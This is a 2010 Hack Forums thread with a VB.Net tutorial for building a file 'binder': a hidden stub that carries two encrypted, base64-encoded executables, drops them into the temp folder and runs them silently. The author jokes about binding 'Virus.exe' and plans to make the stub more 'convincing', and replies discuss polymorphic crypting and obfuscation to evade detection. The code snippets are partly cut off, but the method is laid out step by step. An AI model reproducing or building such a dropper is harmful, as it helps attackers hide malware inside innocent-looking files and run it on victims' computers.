![]() |
|
[.NET] [VB.Net] The 'Real' Binder [Tutorial] - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444) +--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151) +---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118) +---- Thread: [.NET] [VB.Net] The 'Real' Binder [Tutorial] (/showthread.php?tid=361286) |
[VB.Net] The 'Real' Binder [Tutorial] - [Eprouvez] - Apr 10, 2010 Hey guys, Thought I'd make a tutroial on how to make a effecient binder, much easier to understand then FilPut method. To start off, make your form, add two textboxes and four buttons like so... [img]http://i819.photobucket.com/albums/zz112/Eprouvez/Bind.png?t=1270903575[/img] Don't worry about the RunPE textbox. Now, add this at the top of your code: Code Dim F, F2 As StringThis is AeonHack's byte encryption. Note: The 'Dim F, F2 As String' will be talked about soon. Now double-click button one, this will be for choosing the primary file to open, we will create a new OpenFileDialog: Code Dim O As New OpenFileDialogThis part is used to determine which file to read all the bytes from. F = .SafeFileName. This means it gets the filename of whatevers being loaded. I.e. Virus.exe Lol Double-click the second button which should be your secondary file, and add this: Code Dim O As New OpenFileDialogThe only difference this time is TextBox1 has changed to TextBox2 and F to F2. Now for the kool stuff hehe.. Double-click your merge button or bind button. Now we will create a new SaveFileDialog: Code TryThis will define your SaveFileDailog. Now when we click 'Ok' we want our program to bind these files together, so we will read all of the bytes from our two files, use AeonHack's byte encryption to make the bytes unreversable without the encryption key, convert those bytes into a string format, and then write it to our stub. We will add our stub soon. Code If .ShowDialog = Windows.Forms.DialogResult.OK ThenHere is where the stub is loaded, and written to the directory chosen by the SaveFileDialog. Since your stub hasn't been created yet, I suggest changing 'My.Resources.Stub' to 'Nothing' for now. We declare two byte arrays, 'Dim File1 As Byte()' etc, and we read the bytes of the file, 'My.Computer.FileSystem.ReadAllBytes("Of Primary File, or TextBox1.Text")', and then we use the byte encryption 'Secure(My.Computer.FileSystem.ReadAllBytes("Of Primary File, or TextBox1.Text"))'. We do this twice becuse there are the two files to manage. Code Dim File1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))Now, thanks to Nathan72389 for the different binding/building method below, it's good to finally see a change in building codes. Beneath is where most of the magic happens. Code IO.File.AppendAllText(.FileName, Sp & Convert.ToBase64String(File1) & Sp & F & Sp & Convert.ToBase64String(File2) & Sp & F2)This is where we open the file, go to the very end of the file, we add our Splitter first so we can distinguish the stub from the data being written to the stub, and then we add the data. The data goes as the following: 'Sp & Convert.ToBase64String(File1) & Sp & F & Sp & Convert.ToBase64String(File2) & Sp & F2' Splitter, String of Primary File, Split, Primary File Name, Split, String of Secondary File, Split, Secondary File Name. The rest you should be unble to understand. You have now created 50% of your binder! For the stub, create a new project, name it stub or something, make it invisible by editting all the properties, I suggest making FormBorderStyle = None, Opacity = 0, and Size = 0, 0. Add this code at the top under Public Class Form1: Code Function Unsecure(ByVal data As Byte()) As Byte()This is used to decrypt the byte encryption put on the files. Add a Try statement and declare a string used to refrence to the temporary files directory. Code TryThis is how the 'Drop' string array works. Drop(0) will be your stub Drop(1) will be your secured bytes of the first file that has been converted to string Drop(2) will be the file name of the primary file Drop(3) will be your secured bytes of the second file that has been converted to string Drop(4) will be the file name of the secondary file So what we want to do now is, get our files, convert them to byte array, decrypt them, and then write them to the temporary directory. Code Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))We then want to write them to the temporary directory, and then run them. Code My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)We also kill the stub from running, else if you wanted to test out and delete the stub, it would not let you because it says it's in use. Violah! You have just made a Binder! You are nearly there! The next step, is to add your stub to your binder. In your stub project, go to Build->Build Stub, and when it has been built, go to the RELEASE folder, not debug folder. should be in something like 'X:\Users\Your User\Documents\Visual Studio 2010\Projects\Stub\Stub\bin\Release'. Your stub should be there. Open up your binder, and in the solution explorer double-click My Project, Resources, Add Resource, Add Existing File. Change the filter to all files, and chose your stub. It is now loaded and ready to go. Don't forget to change back Dim Buffer As Byte() = Nothing back to Dim Buffer As Byte() = My.Resources.Stub. You have created your binder! As you can see, my binder has a seperate option, which opens that file and outputs them to a directory FULLY intact, so here you go: Code TryTo finish off, thanks for reading, and I hope you learnt something. Due to too many requests for the full source code, I am now not giving it out. This is to stop skids. Full source will only be given to 1337s and ub3rs. Do not P.M me otherwise, I will not reply. Leech all you like, it's all good (: Credits: Eprouvez - Coding, Tutorial Nathan72389 - Binding/Building Method AeonHack - Byte Encryption Cheers, Eprouvez P.S - Working on Cloning the primary file information for the stub to make it more... Shall we say... Convincing 😈 Will create a new thread if I manage to work it out. * - [Eprouvez] - Apr 10, 2010 (Apr 10, 2010 04:00 PM)VendettaSoldier Wrote: thats a kool tut :] Thanks (: Why did someone troll with one star? ): . * - Deathader - Apr 10, 2010 YAYYAYAYAYAYYAYA Finally no more FilePut :D People are learning :) * - Vorfin - Apr 10, 2010 (Apr 10, 2010 04:56 PM)Deathader Wrote: YAYYAYAYAYAYYAYA :) Now we just need to get them using CodeDom to compile at runtime rather than a Stub and this section might posses some knowledge. * - Deathader - Apr 10, 2010 (Apr 10, 2010 05:03 PM)Vorfin Wrote: :) Now we just need to get them using CodeDom to compile at runtime rather than a Stub and this section might posses some knowledge. CodeDom isn't ALWAYS the best. For instants it's hard to protect your stub if you use codedom (you can't obfus it, etc) But it's usually pretty damn good. * - Vorfin - Apr 10, 2010 (Apr 10, 2010 05:05 PM)Deathader Wrote: CodeDom isn't ALWAYS the best. For instants it's hard to protect your stub if you use codedom (you can't obfus it, etc) Yep, especially when you chuck in random Sub names and polymorphic (Thanks for the RC4 BTW) crypt each build :3 * - Deathader - Apr 10, 2010 (Apr 10, 2010 05:08 PM)Vorfin Wrote: Yep, especially when you chuck in random Sub names and polymorphic (Thanks for the RC4 BTW) crypt each build :3 The problem with .net is that it's so damn easy to decompile. * - Aw Ma Gawd - Apr 10, 2010 Woot nice tutorial mate this is really good, will use this! seem to be getting lots of erros, probly did it wrong * - Gino90 - Apr 10, 2010 that's the coolest tut I've ever seen here thanks for sharing. * - TheBlackMarket - Apr 10, 2010 Awesome Tutorial Mate! Thanks for sharing this to Us. * - KrYpToNiTe™ - Apr 10, 2010 Thanks for the tutorial I will try this right away :) * - GodWall - Apr 10, 2010 Nice tut thanks, I have just one prob, I follow tut put stub in folder, but get error "stub not a member of resources" Why I get this error, what am I doing wrong? Holly sh*t I got it as I was writing this I just reread your tut, you explained it the best, I got like 2 other things I had the same prob on, so happy thanks, :) * - [Eprouvez] - Apr 10, 2010 Haha thanks for the feedback guys. @Deathader - Yes, the FilePut method is obsolete, I searched for like a hour trying to find a alternative to FilePut, and thanks to Nathan, I managed to work it out. @Vorfin - Actually, I'm working on CodeDom. Codedom would be good because it would remove the need for a Icon changer and a File Cloner haha. (Apr 10, 2010 08:49 PM)GodWall Wrote: Nice tut thanks, I have just one prob, I follow tut put stub in folder, but get error "stub not a member of resources" Why I get this error, what am I doing wrong? Still need help? Haha (Apr 10, 2010 05:03 PM)Vorfin Wrote: :) Now we just need to get them using CodeDom to compile at runtime rather than a Stub and this section might posses some knowledge. Oh and just cause you said that I'm going to make a tutorial on CodeDom Lol. * - GodWall - Apr 10, 2010 (Apr 10, 2010 09:01 PM)Eprouvez Wrote: Haha thanks for the feedback guys. No bro I got it thanks, I just been trying to learn how to add stubs to projects for a few days this was 3rd project and got it :) thanks you explained it well, I was trying to just add it to the folder, with no luck, I feel silly it was so simple, I now finished my other projects as well, I like learning thanks again :) * - [Eprouvez] - Apr 10, 2010 Haha no problem mate, if you come accross anymore problems, I'd be happy to help. |